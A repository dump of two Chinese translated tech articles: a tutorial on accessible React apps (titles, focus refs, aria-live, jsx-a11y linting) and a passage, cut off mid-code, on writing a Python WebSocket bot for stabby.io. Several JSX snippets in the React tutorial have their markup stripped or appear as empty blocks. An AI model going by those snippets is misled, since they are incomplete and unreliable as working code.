[https://gist.github.com/anonymous/6b06bef626928589e3a53a70c021ec02](https://gist.github.com/anonymous/6b06bef626928589e3a53a70c021ec02) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/creating-accessible-react-apps.md ================================================ > * 原文地址:[Creating accessible React apps](http://simplyaccessible.com/article/react-a11y/) > * 原文作者:[Scott Vinkle](http://simplyaccessible.com/article/author/scott/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/creating-accessible-react-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/creating-accessible-react-apps.md) > * 译者:[llp0574](https://github.com/llp0574) > * 校对者:[smancang](https://github.com/smancang),[zhaoyi0113](https://github.com/zhaoyi0113) # 创建无障碍 React 应用 使用 React 库创建可复用的模块组件在项目之间共享是一个非常好的开发方式。但是应该如何确保你的 React 应用适用于所有人?Scott 将通过一个详细且及时的教程来带领我们创建无障碍的 React 应用。 ## 学习 React ![](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-1.jpg) 时间回到 2017 年 2 月,我从加拿大的金斯顿坐火车到多伦多。为什么我要经受这两小时的长途跋涉?就是为了去学习 [React](https://reactjs.org/) 库相关的内容。 在为期一天的课程结束之后,我们各自开发了一个完整的应用程序。其中让我感到兴奋的一件事是 React 如何迫使你以模块化的方式来思考。每个组件会做一个任务,而且会完成得非常好。当以这种方式构建组件的时候,它可以帮助你把所有的想法和精力集中,确保你不仅在为当前项目,而且也在为将来的项目做正确的事情。React 组件都是可复用的,而且如果构造得当,还可以在不同的项目之间共享。只要找到合适的乐高积木,就可以把你需要的东西拼凑在一起,从而创造出绝佳的用户体验。 然而,当我从旅途中回来的时候,我开始思考那几天我创建的应用是否无障碍。它是否可以做成无障碍应用?用我的笔记本电脑加载项目之后,我开始用我的键盘和 VoiceOver 屏幕阅读器来对其进行一些基本的检测。 有一些微小、能快速修复的问题,比如在主页链接列表使用 `ul` + `li` 元素来替代当前的 `div` 元素。另外一个可以快速修复的地方:为带有装饰性图片的插图容器添加一个空的 `alt` 属性。 但也有一些更具挑战性的问题要解决。随着每个新页面的加载,`title` 元素内容没有发生改变。不仅如此,键盘的焦点管理也非常糟糕,这就会让那些只使用键盘的用户无法使用这个应用。当一个新页面加载之后,焦点仍旧在前一个页面视图上! > 有没有什么技术可以用来解决这些更具挑战的无障碍问题? 在花了一点时间阅读 [React 文档](https://reactjs.org/docs/hello-world.html),并尝试了一些在课程当中习得的技术之后,我已经可以让这款应用更加无障碍了。在这篇文章里,我将带领大家研究一下最为紧迫的无障碍问题,以及如何解决它们,这些问题包括: * React 保留字; * 更新页面标题; * 管理键盘焦点; * 创建一个实时消息组件; * 代码分析,再加上一些关于创建无障碍 React 应用的想法。 ## Demo 应用 如果你更偏向于看到代码最终运行成果的话,那么可以看一下伴随这篇文章的 React demo 应用:[TV-Db](https://simplyaccessible.github.io/tv-db/)。 [![Screen capture of the TV-Db demo app on an iPad. Text in the middle of the screen reads, "Search TV-Db for your favourite TV shows!" A search form is below, along with a few quick links to TV show info pages.](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-ipad-1.png)](https://simplyaccessible.github.io/tv-db/) 你也可以在阅读这篇文章的时候查看这个 [demo 应用的源码](https://github.com/simplyaccessible/tv-db)来紧跟进度。 准备好让你的 React 应用对有障碍人士及所有类型的用户都可以使用吗?开始吧! ## HTML 属性及保留字 在 React 组件里些 HTML 的时候需要谨记的一点是 HTML 属性需要以驼峰式(`camelCase`)书写。这在一开始很让我吃惊,但我很快就习惯了。如果你最后不小心插入了一个全小写(`lowercase`)的属性,那就会在 JavaScript 控制台里得到一个友好的警告,让你将其调整为驼峰式。 举个例子,`tabindex` 这个属性需要写成 `tabIndex`(注意到大写的 “I” 字母)。这个规则的例外情况是任何 `data-*` 或 `aria-*` 类型的属性仍旧保持原来的写法。 还有一些[ JavaScript 保留字](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Reserved_keywords_as_of_ECMAScript_2015),它们会匹配上一些特定的 HTML 属性名。这些属性就不能按照你所期望的方式来写: * `for` 在 JavaScript 里是用来遍历项目的保留字。当在 React 组件里创建 `label` 元素的时候,你必须使用 `htmlFor` 属性来替代 `for`,从而明确地设置 `label` 和 `input` 的关系。 * `class` 也是 JavaScript 里的保留字。当需要在一个 HTML 元素上指派一个 `class` 属性来添加样式的时候,它必须替代写成 `className`。 可能会有更多的属性需要注意,但目前为止当 JavaScript 保留字和 HTML 属性发生冲突的时候我只发现了这两个属性。你有遇到过任何其他的冲突吗?把它们写在评论里,我们就将发布一个后续文章来展示完整的列表。 ## 设置页面标题 因为 React 应用都是[单页面应用(SPA)](https://simplyaccessible.com/article/spangular-accessibility/)),`title` 元素将在整个浏览过程中显示相同的内容,这并不理想。 > 页面的 `title` 元素通常会是屏幕阅读器在页面加载的时候首先阅读的一块内容。 标题反映出页面内容是很重要的,因为那些依赖内容并首先接触到它的人就会知道接下来该期待什么。 在 React 应用里,`title` 元素的内容是在 `public/index.html` 文件里设置的,而且之后就不会再修改了。 我们可以通过在父组件里动态设置 `title` 元素的内容从而来解决这个问题,或者在所需“页面”里,通过给全局的 `document.title` 属性赋值来解决它。我们设置标题的地方是在 React 的 `componentWillMount()` [生命周期方法](https://reactjs.org/docs/react-component.html#the-component-lifecycle)。这个方法是让你在页面加载的时候运行一些代码片段。 举个例子,如果这是个“联系我们”的页面,上面有联系信息或者联系表单,我们就会像 `{[Home.js:23](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Home.js#L23)}` 这样调用 `componentWillMount()` 这个生命周期方法: ``` componentWillMount() { document.title = ‘Contact us | Site Name'; } ``` 当这个组件“页面”加载时,可以看到浏览器选项卡上的标题更新到了 “Contact us | Site Name”。只需确保将上面代码加入所有页面组件里,就可以更新 `title` 元素了。 ## 焦点管理(第一部分) 让我们来讨论一下焦点管理,这对于确保你的应用同时具备无障碍和成功的用户体验来说是一个很重要的因素。如果你的客户试图填满一个多“页面”表单,并且你没有对每个视图进行焦点管理,那么就很可能会导致用户的困扰,而且如果他们正在使用辅助技术,那么他们可能很难继续完成这个表单。你可能会为此完全失去他们成为客户的可能。 为了在组件内的特定元素上设置键盘焦点,你需要创建一个叫 “function ref” 的东西,或者简称 `ref`。如果你只是刚开始学习 React 的话,你可以认为 `ref` 就像是使用 jQuery 来选择 DOM 上的 HTML 元素,并将其缓存在一个变量里,比如: ``` var myBtn = $('#myBtn'); ``` 而创建 `ref` 时一个独特的地方是它可以命名为任何东西(希望是能对你及团队其他开发者来说有意义的东西),并且它不依赖 `id` 或 `class` 来作为选择器。 举个例子,如果你有一个加载屏幕,那么将焦点发送到“加载”消息的容器以便屏幕阅读器读出当前应用的状态就会是理想的做法。在你的加载组件里,你可以创建一个 `ref` 指向加载容器 `{[Loader.js:29](https://github.com/simplyaccessible/tv-db/blob/master/src/components/Loader.js#L29)}`: ```

    Loading…

    ``` 当这个组件渲染完成后,`function ref` 就会触发并通过创建一个新的类属性来创建这个元素的一个“引用”。在这个例子里,我们对 `div` 元素创建了一个叫 “loadingContainer” 的引用,并将其值通过 `this.loadingContainer = loadingContainer` 赋值语句传递给了一个新的类属性。 当组件加载 {[Loader.js:12](https://github.com/simplyaccessible/tv-db/blob/master/src/components/Loader.js#L12)} 的时候,我们在 `componentDidMount()` 生命周期钩子函数里使用 `ref`,明确地给“加载”容器设置焦点 : ``` componentDidMount() { this.loadingContainer.focus(); } ``` 当加载组件从视图中移除的时候,你可以使用不同的 `ref` 来在任何地方转移焦点。 管理焦点移动**到**一个元素,以及**从**一个元素转移到另一个元素,这是相当重要的,毫无夸大。在正确构建无障碍单页面应用的过程中,这是最大的挑战之一。 ## 实时消息 在应用里使用实时消息来声明状态改变是一个很好方式。举个例子,当数据被添加到页面的时候,用某些辅助技术来通知用户是很有用的,比如屏幕阅读器,可以告诉用户发生了什么事情,以及现在有哪些项目是可用的。 让我们通过创建一个新的组件来创建一个控制实时声明的方法。我们将把这个新组件叫做:`Announcements`。 当这个组件被渲染的时候,`this.props.message` 的值将被注入到 `aria-live` 元素里,这在之后允许它被屏幕阅读器读出来。 这个组件看上去是一个像 `{[Announcements.js:12](https://github.com/simplyaccessible/tv-db/blob/master/src/components/Announcements.js#L12)}` 的东西: ``` import React from 'react'; class Announcements extends React.Component { render() { return (
    {this.props.message}
    ); } } export default Announcements; ``` 这个组件简单地创建了一个 `div` 元素,并加上了一些无障碍相关的属性:`aria-live` 和 `aria-atomic`。屏幕阅读器将读取这些属性并为使用应用的用户大声朗读 `div` 里的任何文本内容使其听见。`aria-live` 属性真的非常强大,请明智地使用它。 除此之外,一直在模板里渲染 `Announcement` 组件是很重要的,因为有些浏览器或屏幕阅读器技术在 `aria-live` 元素动态加载到 DOM 上的时候是不会朗读内容的。因此,在你的应用里,这个组件应该一直在任意父组件中引入。 你应该像 `{[Results.js:91](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Results.js#L91)}` 一样引入 `Announcement` 组件: ``` ``` 为了传递消息给这些 Announcement 组件,在父组件里需要创建一个状态属性,用于存放消息文本 `{[Results.js:22](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Results.js#L22)}`: ``` this.state = { announcementMessage: null }; ``` 然后,在需要的时候更新状态,`{[Results.js:62](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Results.js#L62)}`: ``` this.setState({announcementMessage: `Total results found: ${data.length}`}); ``` ## 焦点管理(第二部分) 我们已经学习过关于用 `ref` 来管理焦点的内容,这是 React 里创建一个变量指向 DOM 元素的概念。现在,让我们来看一下另一种用同样概念实现的重要例子。 当链接到应用另外的页面时,你可以使用 HTML 的 `a` 元素。这样做的话,就会如同预期那样,导致整个页面的重载。但是,如果你在应用里使用 [React Router](https://reacttraining.com/react-router/) 的话,你就可以使用 `Link` 组件了。`Link` 组件在 React 应用里实际上取代了久经考验的 `a` 元素。 你会问,为什么你要用 `Link` 来替代**真正的** HTML 锚点链接?虽说在 React 组件里使用 HTML 链接是完全没问题的,但是使用 React Router 的 `Link` 组件可以让你的应用充分利用 React 虚拟 DOM 的优势。使用 `Link` 组件帮助我们更快地加载“页面”,因为在点击 `Link` 的时候浏览器不需要刷新了,但它们也有所限制。 > 当使用 `Link` 组件的时候,你需要搞清楚键盘焦点的位置,并知道当下个“页面”出现的时候焦点会去到哪里。 这里是我们的朋友 `ref` 来帮忙的地方。 ### Link 组件 一个典型的 Link 组件看上去像下面这样: ``` Home ``` 这个语法看起来应该很熟悉,因为它和 HTML 的 `a` 元素非常相像;把 `a` 换成 `Link`,把 `href` 换成 `to` 就可以了。 如同我已经提到过的,使用 `Link` 组件替代 HTML 链接不会刷新浏览器。作为替代,React Router 会按照 `to` 属性描述的内容加载下个组件。 让我们来看一下如何确保键盘焦点会移动到合适的位置。 ### 调整键盘焦点 当一个新页面加载的时候,键盘焦点需要明确地设置。否则,焦点会仍然在前一个页面,那么当某用户开始浏览到下一页面的时候,谁会知道焦点在哪里结束呢?我们应该如何显示地设置焦点?又要找我们的老朋友 `ref` 了。 #### 配置 ref 要决定焦点的走向,你需要检查组件是如何配置的,以及使用了哪些小部件。举个例子,如果你有一个“页面”组件,由许多子组件组成剩下的页面内容,那么你可能需要将焦点移动到页面最外层的父元素,有可能是一个 `div` 元素。从这里开始,用户就可以浏览页面内容的其他内容,就像经历了一次浏览器的整体刷新。 让我们来在最外层的父亲 `div` 上创建一个叫 `contentContainer` 的 `ref`,就像 `{[Details.js:84](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Details.js#L84)}`: ```
    { this.contentContainer = contentContainer; }} tabIndex="-1" aria-labelledby="pageHeading"> ``` 你可能已经注意到元素还包含 `tabIndex` 和 `aria-labelledby` 属性。通过 `ref` 的程序逻辑,`tabIndex` 设为 `-1` 将允许一般不可聚焦的 `div` 元素接受键盘焦点。 > 提示:就像焦点管理,有意地使用 `tabIndex="-1"` 并按照一个明确的计划来处理。 `aria-labelledby` 属性值将程序化地关联页面的标题(也许是一个 id 为 “pageHeading” 的 `h1` 或 `h2` 元素),来帮助描述当前键盘焦点位置的上下文。 既然我们创建了 `ref`,让我们来看看如何**真正地**使用它来转移焦点。 #### 使用 ref 之前我们学习了关于 `componentDidMount()` 的生命周期方法。当在 React 的虚拟 DOM 里加载页面时,我们可以再次使用它来转移键盘焦点,在 `{[Home.js:26](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Home.js#L26)}` 里使用我们之前在组件里创建的 `contentContainer` 和 `ref`: ``` componentDidMount() { this.contentContainer.focus(); } ``` 上面的代码告诉 React:“在组件加载的时候,将键盘焦点转移到容器元素”。从这一点上,浏览会从页面的顶部开始,并且如果发生全页面刷新的话,内容就将是可以清楚看见的。 ## React 的无障碍性代码分析器 写一篇关于 React 无障碍性的文章不得不提到那个难以置信的开源项目:[`eslint-plugin-jsx-a11y`](https://github.com/evcohen/eslint-plugin-jsx-a11y)。这是一个 [ESLint](https://eslint.org/) 插件,特别为 JSX 和 React 定制的,它会监视并报告你的代码里所有潜在的无障碍性问题。当你创建一个新的 React 项目时,它就会出现,所以你不需要担心任何设置问题。 举个例子,如果你在组件里引入一张图片而没有添加 `alt` 属性,那么你就会在浏览器开发者工具控制台里看到: [![Screen capture of Chrome’s developer tools console. A warning message states, “img elements must have an alt prop, either with meaningful text, or an empty string for decorative images. (jsx-a11y/alt-text)”](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-console.png)](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-console.png) 像这样的消息在开发应用的时候真的非常有用。即便如此,在代码编辑器看到这些类型的消息总比在浏览器看到更好一些吧?下面介绍如何在编码环境安装及配置 `eslint-plugin-jsx-a11y` 使用。 ### 安装 ESLint 插件 首先你需要为编辑器安装 ESLint 插件。在编辑器的插件库里搜索 “eslint” - 就有机会在那里找到可用的插件来安装。 下面是几个编辑器插件的快速链接: * [Atom](https://atom.io/packages/linter-eslint) * [Sublime Text](https://packagecontrol.io/packages/SublimeLinter-contrib-eslint) * [VS Code](https://marketplace.visualstudio.com/items?itemName=MadsKristensen.WebAnalyzer) ### 安装 eslint-plugin-jsx-a11y 下个步骤就是通过 `npm` 安装 `eslint-plugin-jsx-a11y`。只需运行以下命令即可安装它和 ESLint,并在编辑器里使用它: ``` npm install eslint eslint-plugin-jsx-a11y --save-dev ``` 在这个命令运行完后,更新项目里的 `.eslintrc` 文件,接着 ESLint 就可以使用这个 `eslint-plugin-jsx-a11y` 插件了。 ### 更新 ESLint 配置 如果在项目的根目录里没有 `.eslintrc` 文件,可以轻易地以这个文件名创建一个新文件。查看[如何配置 `.eslintrc` 文件](https://eslint.org/docs/user-guide/configuring),以及一些可以添加配置 ESLint 的[规则](https://eslint.org/docs/rules/),以此满足项目的需求。 在 `.eslintrc` 文件创建好之后,打开它进行编辑并在 “plugins” 部分添加下面的代码 {[.eslintrc:43](https://github.com/simplyaccessible/tv-db/blob/master/.eslintrc#L43)}: ``` "plugins": [ "jsx-a11y" ] ``` 这段代码告诉 ESLint 的本地实例在分析项目文件的时候使用 `jsx-a11y` 插件。 为了让 ESLint 在代码里找到无障碍相关的特定错误,我们还需要指定 ESLint 使用的规则集。你可以配置自己的规则,但我推荐至少一开始使用默认的集合。 把下面的代码添加到 `.eslintrc` 文件的 “extends” 部分 `{[.eslintrc:47](https://github.com/simplyaccessible/tv-db/blob/master/.eslintrc#L47)}`: ``` "extends": [ "plugin:jsx-a11y/recommended" ] ``` 这一行告诉 ESLint 使用默认推荐的规则集合,并且我发现非常好用。 在完成这些编辑及重启编辑器之后,在出现无障碍相关问题的时候,你应该就可以看到一些类似下面截图的提示: [![Screen capture of Atom text editor. A warning message appears overtop of some code with the following message, “img elements must have an alt prop, either with meaningful text, or an empty string for decorative images. (jsx-a11y/alt-text)”](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-atom.png)](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-atom.png) ## 继续编写语义化 HTML 在 [“Thinking in React” 帮助文档](https://reactjs.org/docs/thinking-in-react.html)里,鼓励读者去创建组件模块,或者组件驱动开发,编写小型、可复用的代码片段。这么做的好处是可以在不同项目之间复用代码。想象一下,在某个站点创建了一个无障碍部件,然后如果在另一个站点需要同样的部件,只需复制粘贴代码! 从这里可以看出,你通过模块套模块创建出更大的组件来构建你的 UI,然后最终拼凑成一个“页面”。起初这可能会带来一些学习曲线,但不久你就会习惯以这种方式思考,并最终在编写 HTML 的时候享受这种分解过程。 > 因为 React 的组件使用 [ES6 的类](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes)组成,所以继续编写良好、干净的语义化 HTML 取决于你自己(是否掌握 ES6)。 正如我们之前在文中提到的那样,有一些保留字需要注意,如 `htmlFor` 和 `className`,但除此之外,作为开发人员,你仍然有责任按照通常的方式编写和测试 HTML UI 界面。 另外,还可以在适当的时候通过 JSX 在 HTML 里写入 JavaScript。这将大大有助于应用更具动态性和无障碍性。 ## 结论 你现在已经完全有能力使 React 应用变得更加无障碍! 你学到的知识有: * 更新页面 `title`,让用户在应用里保持方向感并明白每个视图内容的目的; * 管理键盘焦点,以便用户可以顺利地跟随动态内容变化,而不会迷失或迷惑刚刚发生了什么; * 创建一个实时消息组件,提醒用户任何重要的状态变化; * 以及,在项目里加入代码分析,以便你可以在工作的时候及时捕获无障碍性错误。 也许与网页开发人员分享的最好的无障碍性提示就是:在做任何静态、CMS 或基于框架的网站时,在模板里[编写语义化 HTML](https://simplyaccessible.com/article/listening-web-part-two-semantics/)。在创建用户界面应该选择什么元素时,React 不会成为你的拦路虎。这完全取决于你自己,亲爱的开发者,确保你自己创建的内容尽可能对大部分用户来说是有用且无障碍的。 你有没有发现过其他方式来创建更具无障碍性的 React 应用?我十分乐意在评论里听到它们! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/creating-an-html5-game-bot-using-python.md ================================================ > * 原文地址:[Creating An HTML5 Game Bot Using Python](https://vesche.github.io/articles/01-stabbybot.html) > * 原文作者:[vesche](https://vesche.github.io/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/creating-an-html5-game-bot-using-python.md](https://github.com/xitu/gold-miner/blob/master/TODO/creating-an-html5-game-bot-using-python.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[faintz](https://github.com/faintz), [vuuihc](https://github.com/vuuihc) # 用 Python 做一个 H5 游戏机器人 **摘要:**我给游戏 [stabby.io](http://stabby.io/) 写了一个机器人(bot),源码请参考:[GitHub repo](https://github.com/vesche/stabbybot)。 几周前,我在一个无聊的夜晚发现了一款游戏:[stabby.io](http://stabby.io/)。于是乎我的 IO 游戏瘾又犯了(曾经治好过)。在进入游戏后,你会被送进一个小地图中,场景里有许多和你角色长得一样的玩家,你可以杀死你身边的任何一个人。你周围的角色大多数都是电脑玩家,你需要设法弄清哪个才是人类玩家。我沉迷游戏无法自拔,愉快地玩了几个小时。 ![01-scrot](https://vesche.github.io/articles/media/01-scrot.png) 正当我放纵一夜时,Eric S. Raymond 先生提醒我 [boredom and drudgery are evil](http://www.catb.org/~esr/faqs/hacker-howto.html#believe3)(无聊和单调都是罪恶)……我还记得 [LiveOverflow](http://www.liveoverflow.com/) 的一位老师在视频里冲我叫喊 [STOP WASTING YOUR TIME AND LEARN MORE HACKING!](https://www.youtube.com/watch?v=AMMOErxtahk)(多码代码少睡觉)。因此,我打算把我的无聊与单调转变成为一个有趣的编程项目,开始做一个为我玩 stabby 的 Python 机器人! 在开始前,先介绍一下 stabby 超酷的开发者:soulfoam,他在自己的 [Twitch 频道](https://www.twitch.tv/soulfoamtv)直播编程与游戏开发。我得到了他的授权,允许我创建这个机器人并与大家分享。 我最开始的想法是用 [autopy](http://www.autopy.org/) 捕获屏幕,并根据图像分析发送鼠标的移动(作者在此悼念了曾经做过的 Runescape 机器人)。但很快我就放弃这种方式,因为这个游戏有着更直接的交互方式 - [WebSockets](https://en.wikipedia.org/wiki/WebSocket)。由于 stabby 是一款多人实时 HTML5 游戏,因此它使用了 WebSockets 在客户端与服务器之间建立了长连接,双方都能随时发送数据。 ![01-websockets](https://vesche.github.io/articles/media/01-websockets.png) 所以我们只需要关注客户端与服务器间的 WebSocket 通讯就行了。如果可以理解从服务器**接收**的消息以及之后**发送**给服务器的消息,那我们就能直接通过 WebSocket 通讯来玩游戏。现在开始玩 stabby 游戏,并打开 [Wireshark](https://www.wireshark.org/) 查看流量。 ![01-wireshark](https://vesche.github.io/articles/media/01-wireshark.png) **注意:**我对上面 stabby 的服务器 IP 进行了打码处理,避免它被攻击。为了避免脚本小子滥用这个机器人,我不会在 stabbybot 中提供这个 IP,你需要自行获取。 接着说这美味的 WebSocket 数据包。在这儿看到了第一个表明我们正处于正确道路的标志!我在开始游戏时,将角色名设定为 `chain`,紧接着在发往服务器的第二个 WebSocket 包的数据部分看到了 `03chain`。游戏里的其他人就这样知道了我的名字! 通过对抓包进一步的分析,我确定了在建立连接时客户端要发送给服务端的东西。下面是我们需要在 Python 中重新复现的内容: * 连接至 stabby 的 WebSocket 服务器 * 发送当前游戏版本(000.0.4.3) * WebSocket Ping/Pong * 发送我们的角色名 * 监听服务器发来的消息 我将使用 [websocket-client](https://pypi.python.org/pypi/websocket-client) 库来让 Python 连接 WebSocket 服务器。下面编写前文概述内容的代码: ```python # main.py import websocket # 创建一个 websocket 对象 ws = websocket.WebSocket() # 连接到 stabby.io 服务器 ws.connect('ws://%s:443' % server_ip, origin='http://stabby.io') # 向服务器发送当前游戏版本 ws.send('000.0.4.3') # force a websocket ping/pong ws.pong('') # 发送用户名 ws.send('03%s' % 'stabbybot') try: while True: # 监听服务器发送的消息 print(ws.recv()) except KeyboardInterrupt: pass ws.close() ``` 幸运的是,上面的程序没有让我们失望,收到了服务器消息! ``` 030,day 15xx,60|stabbybot,0| 162,2,0 05+36551,186.7,131.0,walking,left|+58036,23.1,122.8,walking,right|_20986,55.2,71.7,idle,left|_47394,70.9,84.9,walking,right|_58354,10.4,16.2,walking,right|_81344,61.0,27.8,walking,left|+77108,107.5,8.9,walking,left|_96763,118.8,71.7,walking,left|_23992,104.4,24.1,walking,right|+30650,118.4,8.0,idle,left|+11693,186.7,35.5,walking,left|+34643,186.7,118.3,walking,left|+65406,83.9,33.3,idle,right|+24414,186.7,136.3,walking,left|+00863,75.2,35.3,walking,left|_57248,39.0,51.3,walking,right|_98132,165.2,10.0,walking,right|_45741,179.2,5.2,walking,right|+57840,186.7,45.3,walking,left|+70676,186.7,135.7,walking,left|+39478,90.8,63.3,walking,left|_51961,166.7,138.7,idle,right|+85034,148.4,7.7,idle,right|_72926,62.4,23.7,walking,left|_25474,9.6,58.0,idle,left|0,4.0,1.0,idle,left|_52426,61.0,128.4,walking,left|_00194,67.5,96.1,walking,left|+12906,170.7,33.7,walking,right|_67508,87.2,93.3,walking,left|+51085,140.3,34.2,idle,right|_67544,170.1,100.7,idle,right|_77761,158.5,127.6,idle,left|_25113,38.4,111.2,walking,left| 08100,20.5,227.68056,227.68056,0.0,0.0 18t,xx,250m or less ... ``` 以上是由服务器传给客户端的消息。我们可以在登录后得到关于游戏中时间的信息:`030,day`。接着会有一些数据不断地产生: `05+36551,186.7,131.0,walking,left|+58036,23.1,122.8,walking,right|...`,这些表达全局状况的数据看上去应该是:玩家 id、坐标、状态、脸对着的方向。现在可以试着调试并对游戏的通信进行逆向工程,以理解客户端、服务器之间发送的是什么了。 例如,当在游戏中杀人时会发生什么? ![01-kill](https://vesche.github.io/articles/media/01-kill.png) 这次我使用了 Wireshark,特别设置了过滤器,仅抓取流向`(ip.dst)`服务器的 WebSocket 流量。在杀死某人后,`10` 与玩家 id 被传给服务器。可能你还不太明白,我解释一下:发送给服务器的一切东西都由两位数字开头,我将其称为`事件代码`。总共有差不多 20 个不同的事件代码,我还没完全弄清它们分别是做什么的。不过,我可以找到一些比较重要的事件: ``` EVENTS = { '03': '登录', '05': '全局状况', '07': '移动', '09': '游戏中的时间', '10': '杀', '13': '被杀', '14': '杀人信息', '15': '状态', '18': '目标' } ``` ## 创造一个非常简单的机器人 有了这些信息,我们就能构建机器人啦! ``` . ├── main.py - 机器人的入口文件。在此文件中会连接 stabby 的服务器, │ 并定义主循环(main loop)。 ├── comm.py - 处理所有消息的收发。 ├── state.py - 跟踪游戏的当前状态。 ├── brain.py - 决定机器人要做什么事。 └── log.py - 提供机器人可能需要的日志功能。 ``` `main.py` 中的主循环会做以下几件事: * 接收服务器消息。 * 将服务器消息传给 `comm.py` 进行处理。 * 处理过的数据会储存在当前游戏状态(`state.py`)中。 * 将当前游戏状态传给 `brain.py`。 * 执行基于游戏状态做出的决策。 下面让我们看看如何实现一个非常基本的**会自己移动到上个玩家被杀的位置**的机器人吧。当某人在游戏中被杀害时,其余的每个人都会受到一个类似 `14+12906,120.2,64.8,seth` 的广播消息。这个消息中,`14` 是事件代码,后面是用逗号分隔的玩家 id、x 坐标与 y 坐标,最后是杀手的名称。如果我们要走到这个位置区,要发送事件代码 `07`,后面跟着用逗号分隔的 x 与 y 坐标。 首先,我们创建一个跟踪杀人信息的游戏状态类: ```python # state.py class GameState(): """跟踪 stabbybot 的当前游戏状态。""" def __init__(self): self.game_state = { 'kill_info': {'uid': None, 'x': None, 'y': None, 'killer': None}, } def kill_info(self, data): uid, x, y, killer = data.split(',') self.game_state['kill_info'] = {'uid': uid, 'x': x, 'y': y, 'killer': killer} ``` 接下来,我们创建通信代码用以处理**接收**到的杀人信息(然后将其传给游戏状态类),以及将移动命令**发送**出去: ```python # comm.py def incoming(gs, raw_data): """处理收到的游戏数据""" event_code = raw_data[:2] data = raw_data[2:] if event_code == '14': gs.kill_info(data) class Outgoing(object): """处理要发出的游戏数据。""" def move(self, x, y): x = x.split('.')[0] y = y.split('.')[0] self.ws.send('%s%s,%s' % ('07', x, y)) ``` 下面为决策部分。程序将通过当前的游戏状态来进行决策,如果有人被杀了,它会将我们的角色移动到那个位置去: ```python # brain.py class GenOne(object): """第一代 stabbybot。它现在还很蠢(笑""" def __init__(self, outgoing): self.outgoing = outgoing self.kill_info = {'uid': None, 'x': None, 'y': None, 'killer': None} def testA(self, game_state): """走到上个玩家被杀的地点去。""" if self.kill_info != game_state['kill_info']: self.kill_info = game_state['kill_info'] if self.kill_info['killer']: print('New kill by %s! On the way to (%s, %s)!' % (self.kill_info['killer'], self.kill_info['x'], self.kill_info['y'])) self.outgoing.move(self.kill_info['x'], self.kill_info['y']) ``` 最后更新 main 文件,它将连接服务器,并执行上面概括的主循环: ```python # main.py import websocket import state import comm import brain ws = websocket.WebSocket() ws.connect('ws://%s:443' % server_ip, origin='http://stabby.io') ws.send('000.0.4.3') ws.pong('') ws.send('03%s' % 'stabbybot') # 将类实例化 gs = state.GameState() outgoing = comm.Outgoing(ws) bot = brain.GenOne(outgoing) while True: # 接收服务器消息 raw_data = ws.recv() # 处理收到的数据 comm.incoming(gs, raw_data) # 进行决策 bot.testA(gs.game_state) ws.close() ``` 机器人运行时,将会如期运行。当有人死亡的时候,机器人会向那个死亡地点攻击。虽然不够刺激,但这是个不错的开头!现在,我们可以发送与接收游戏数据,并在游戏中完成一些特定的任务。 ## 创造一个体面的机器人 接下来为前面创造的简单版机器人进行拓展,添加更多的功能。`comm.py` 和 `state.py` 文件现在充满了各种各样的功能,详情请查看 [stabbybot 的 GitHub repo](https://github.com/vesche/stabbybot)。 现在我们将做一个可以与普通人类玩家竞争的机器人。在 stabby 中最简单的获胜方式就是保持耐心,不断走动,直到看见某人被杀,然后去杀掉那个杀人凶手。 因此,我们需要机器人做下面的事: * 随机走动。 * 检查是否有人被杀(`game_state['kill_info']`)。 * 如果有人被杀了,就检查当前全局状况的数据(`game_state['perception']`)。 * 确认是否某人是否离杀人地点够近,以确定杀人凶手。 * 为了分数和荣耀去杀了那个凶手! 打开 `brain.py` 编写一个 `GenTwo` 类(意为第二代)。第一步实现最简单的部分,让机器人随机走动。 ```python class GenTwo(object): """第二代 stabbybot。看着这个小家伙到处走动吧!""" def 